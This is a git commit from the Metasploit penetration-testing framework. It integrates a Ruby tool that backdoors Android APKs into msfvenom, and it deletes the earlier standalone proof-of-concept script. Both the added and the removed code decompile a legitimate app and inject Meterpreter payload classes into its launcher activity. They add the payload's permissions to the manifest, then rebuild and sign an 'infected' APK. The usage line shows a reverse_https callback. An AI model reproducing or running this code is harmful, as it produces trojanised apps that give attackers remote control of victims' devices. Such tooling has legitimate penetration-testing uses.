integrate ./msfvenom -x for android payloads

This commit is contained in:
Tim
2015-12-22 15:58:27 +00:00
parent 662a6dfd53
commit eeea4bde9d
3 changed files with 36 additions and 323 deletions
+33 -65
View File
@@ -1,6 +1,7 @@
# -*- coding: binary -*-
require 'msf/core'
require 'rex/text'
require 'tmpdir'
require 'nokogiri'
require 'fileutils'
@@ -9,6 +10,21 @@ require 'open3'
module Msf::Payload::Apk
class ApkBackdoor
include Msf::Payload::Apk
def backdoor_apk(apk, payload)
backdoor_payload(apk, payload)
end
end
def print_status(msg='')
$stderr.puts "[*] #{msg}"
end
def print_error(msf='')
$stderr.puts "[-] #{msg}"
end
def usage
print_error "Usage: #{$0} [target.apk] [msfvenom options]\n"
print_error "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n"
@@ -46,46 +62,6 @@ module Msf::Payload::Apk
end
end
# If XML parsing of the manifest fails, recursively search
# the smali code for the onCreate() hook and let the user
# pick the injection point
def scrape_files_for_launcher_activity(tempdir)
smali_files||=[]
Dir.glob("#{tempdir}/original/smali*/**/*.smali") do |file|
checkFile=File.read(file)
if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V")
smali_files << file
smalifile = file
activitysmali = checkFile
end
end
i=0
print_status "[*] Please choose from one of the following:\n"
smali_files.each{|s_file|
print_status "[+] Hook point ",i,": ",s_file,"\n"
i+=1
}
hook=-1
while (hook < 0 || hook>i)
print_status "\nHook: "
hook = STDIN.gets.chomp.to_i
end
i=0
smalifile=""
activitysmali=""
smali_files.each{|s_file|
if (i==hook)
checkFile=File.read(s_file)
smalifile=s_file
activitysmali = checkFile
break
end
i+=1
}
return [smalifile,activitysmali]
end
def fix_manifest(tempdir)
payload_permissions=[]
@@ -119,7 +95,7 @@ module Msf::Payload::Apk
add_permissions=[]
for permission in payload_permissions
if !(original_permissions.include? permission)
print_status "[*] Adding #{permission}\n"
print_status("Adding #{permission}")
add_permissions << permission
end
end
@@ -149,19 +125,19 @@ module Msf::Payload::Apk
jarsigner = run_cmd("jarsigner")
unless jarsigner != nil
print_error "[-] jarsigner not found. If it's not in your PATH, please add it.\n"
print_error("jarsigner not found. If it's not in your PATH, please add it.")
exit(1)
end
apktool = run_cmd("apktool -version")
unless apktool != nil
print_error "[-] apktool not found. If it's not in your PATH, please add it.\n"
print_error "apktool not found. If it's not in your PATH, please add it."
exit(1)
end
apk_v = Gem::Version.new(apktool)
unless apk_v >= Gem::Version.new('2.0.1')
print_error "[-] apktool version #{apk_v} not supported, please download at least version 2.0.1.\n"
print_error "apktool version #{apk_v} not supported, please download at least version 2.0.1."
exit(1)
end
@@ -171,54 +147,46 @@ module Msf::Payload::Apk
File.open("#{tempdir}/payload.apk", "wb") {|file| file.puts raw_payload }
FileUtils.cp apkfile, "#{tempdir}/original.apk"
print_status "[*] Decompiling original APK..\n"
print_status "Decompiling original APK..\n"
run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original")
print_status "[*] Decompiling payload APK..\n"
print_status "Decompiling payload APK..\n"
run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload")
f = File.open("#{tempdir}/original/AndroidManifest.xml")
amanifest = Nokogiri::XML(f)
f.close
print_status "[*] Locating onCreate() hook..\n"
print_status "Locating onCreate() hook..\n"
launcheractivity = find_launcher_activity(amanifest)
smalifile = "#{tempdir}/original/smali/" + launcheractivity.gsub(/\./, "/") + ".smali"
begin
activitysmali = File.read(smalifile)
rescue Errno::ENOENT
print_status "[!] Unable to find correct hook automatically\n"
begin
results=scrape_files_for_launcher_activity(tempdir)
smalifile=results[0]
activitysmali=results[1]
rescue
print_error "[-] Error finding launcher activity. Exiting"
exit(1)
end
print_status "Unable to find correct hook automatically\n"
exit
end
print_status "[*] Copying payload files..\n"
print_status "Copying payload files..\n"
FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/")
FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/"
activitycreate = ';->onCreate(Landroid/os/Bundle;)V'
payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V"
hookedsmali = activitysmali.gsub(activitycreate, payloadhook)
print_status "[*] Loading ",smalifile," and injecting payload..\n"
print_status "Loading #{smalifile} and injecting payload..\n"
File.open(smalifile, "wb") {|file| file.puts hookedsmali }
injected_apk = apkfile.sub('.apk', '_backdoored.apk')
print_status "[*] Poisoning the manifest with meterpreter permissions..\n"
injected_apk = "#{tempdir}/output.apk"
print_status "Poisoning the manifest with meterpreter permissions..\n"
fix_manifest(tempdir)
print_status "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")
print_status "[*] Signing #{injected_apk}\n"
print_status "Signing #{injected_apk}\n"
run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey")
outputapk = File.read(injected_apk)
rescue
FileUtils.remove_entry tempdir
puts "[+] Infected file #{injected_apk} ready.\n"
end
end
+3 -3
View File
@@ -310,9 +310,9 @@ module Msf
cli_print "Payload size: #{raw_payload.length} bytes"
raw_payload
elsif payload.start_with? "android/"
cli_print "Using template: #{template}"
raw_payload = generate_raw_payload
cli_print "Using APK template: #{template}"
apk_backdoor = ::Msf::Payload::Apk::ApkBackdoor::new()
raw_payload = apk_backdoor.backdoor_apk(template, generate_raw_payload)
cli_print "Payload size: #{raw_payload.length} bytes"
raw_payload
else
-255
View File
@@ -1,255 +0,0 @@
#!/usr/bin/env ruby
#
# This script is a POC for injecting metasploit payloads on
# arbitrary APKs.
# Authored by timwr, Jack64
#
require 'tmpdir'
require 'nokogiri'
require 'fileutils'
require 'optparse'
require 'open3'
def usage
$stderr.puts "Usage: #{$0} [target.apk] [msfvenom options]\n"
$stderr.puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n"
end
def run_cmd(cmd)
begin
stdin, stdout, stderr = Open3.popen3(cmd)
return stdout.read + stderr.read
rescue Errno::ENOENT
return nil
end
end
# Find the activity that is opened when you click the app icon
def find_launcher_activity(amanifest)
package = amanifest.xpath("//manifest").first['package']
activities = amanifest.xpath("//activity|//activity-alias")
for activity in activities
activityname = activity.attribute("name")
category = activity.search('category')
unless category
next
end
for cat in category
categoryname = cat.attribute('name')
if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN')
activityname = activityname.to_s
unless activityname.start_with?(package)
activityname = package + activityname
end
return activityname
end
end
end
end
# If XML parsing of the manifest fails, recursively search
# the smali code for the onCreate() hook and let the user
# pick the injection point
def scrape_files_for_launcher_activity(tempdir)
smali_files||=[]
Dir.glob("#{tempdir}/original/smali*/**/*.smali") do |file|
checkFile=File.read(file)
if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V")
smali_files << file
smalifile = file
activitysmali = checkFile
end
end
i=0
print "[*] Please choose from one of the following:\n"
smali_files.each{|s_file|
print "[+] Hook point ",i,": ",s_file,"\n"
i+=1
}
hook=-1
while (hook < 0 || hook>i)
print "\nHook: "
hook = STDIN.gets.chomp.to_i
end
i=0
smalifile=""
activitysmali=""
smali_files.each{|s_file|
if (i==hook)
checkFile=File.read(s_file)
smalifile=s_file
activitysmali = checkFile
break
end
i+=1
}
return [smalifile,activitysmali]
end
def fix_manifest(tempdir)
payload_permissions=[]
#Load payload's permissions
File.open("#{tempdir}/payload/AndroidManifest.xml","rb"){|file|
k=File.read(file)
payload_manifest=Nokogiri::XML(k)
permissions = payload_manifest.xpath("//manifest/uses-permission")
for permission in permissions
name=permission.attribute("name")
payload_permissions << name.to_s
end
}
original_permissions=[]
apk_mani=""
#Load original apk's permissions
File.open("#{tempdir}/original/AndroidManifest.xml","rb"){|file2|
k=File.read(file2)
apk_mani=k
original_manifest=Nokogiri::XML(k)
permissions = original_manifest.xpath("//manifest/uses-permission")
for permission in permissions
name=permission.attribute("name")
original_permissions << name.to_s
end
}
#Get permissions that are not in original APK
add_permissions=[]
for permission in payload_permissions
if !(original_permissions.include? permission)
print "[*] Adding #{permission}\n"
add_permissions << permission
end
end
inject=0
new_mani=""
#Inject permissions in original APK's manifest
for line in apk_mani.split("\n")
if (line.include? "uses-permission" and inject==0)
for permission in add_permissions
new_mani << '<uses-permission android:name="'+permission+'"/>'+"\n"
end
new_mani << line+"\n"
inject=1
else
new_mani << line+"\n"
end
end
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts new_mani }
end
def backdoor_payload(apkfile, raw_payload)
unless apkfile && File.readable?(apkfile)
usage
exit(1)
end
jarsigner = run_cmd("jarsigner")
unless jarsigner != nil
$stderr.puts "[-] jarsigner not found. If it's not in your PATH, please add it.\n"
exit(1)
end
apktool = run_cmd("apktool -version")
unless apktool != nil
$stderr.puts "[-] apktool not found. If it's not in your PATH, please add it.\n"
exit(1)
end
apk_v = Gem::Version.new(apktool)
unless apk_v >= Gem::Version.new('2.0.1')
$stderr.puts "[-] apktool version #{apk_v} not supported, please download at least version 2.0.1.\n"
exit(1)
end
#Create temporary directory where work will be done
tempdir = Dir.mktmpdir
File.open("#{tempdir}/payload.apk", "wb") {|file| file.puts raw_payload }
FileUtils.cp apkfile, "#{tempdir}/original.apk"
print "[*] Decompiling original APK..\n"
run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original")
print "[*] Decompiling payload APK..\n"
run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload")
f = File.open("#{tempdir}/original/AndroidManifest.xml")
amanifest = Nokogiri::XML(f)
f.close
print "[*] Locating onCreate() hook..\n"
launcheractivity = find_launcher_activity(amanifest)
smalifile = "#{tempdir}/original/smali/" + launcheractivity.gsub(/\./, "/") + ".smali"
begin
activitysmali = File.read(smalifile)
rescue Errno::ENOENT
print "[!] Unable to find correct hook automatically\n"
begin
results=scrape_files_for_launcher_activity(tempdir)
smalifile=results[0]
activitysmali=results[1]
rescue
$stderr.puts "[-] Error finding launcher activity. Exiting"
exit(1)
end
end
print "[*] Copying payload files..\n"
FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/")
FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/"
activitycreate = ';->onCreate(Landroid/os/Bundle;)V'
payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V"
hookedsmali = activitysmali.gsub(activitycreate, payloadhook)
print "[*] Loading ",smalifile," and injecting payload..\n"
File.open(smalifile, "wb") {|file| file.puts hookedsmali }
injected_apk = apkfile.sub('.apk', '_backdoored.apk')
print "[*] Poisoning the manifest with meterpreter permissions..\n"
fix_manifest(tempdir)
print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")
print "[*] Signing #{injected_apk}\n"
run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey")
FileUtils.remove_entry tempdir
puts "[+] Infected file #{injected_apk} ready.\n"
end
if __FILE__ == $0
begin
msfvenom_opts = ARGV[1,ARGV.length]
opts=""
msfvenom_opts.each{|x|
opts+=x
opts+=" "
}
rescue
$stderr.puts "[-] Error parsing msfvenom options. Exiting.\n"
usage
exit(1)
end
print "[*] Generating msfvenom payload..\n"
msfvenom_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "..", "msfvenom"))
msfvenom_command = "#{msfvenom_path} -f raw #{opts}"
begin
stdin, stdout, stderr = Open3.popen3(msfvenom_command)
payload = stdout.read
msfvenom_output = stderr.read
backdoor_payload(ARGV[0], payload)
rescue Errno::ENOENT
$stderr.puts msfvenom_output
exit(1)
end
end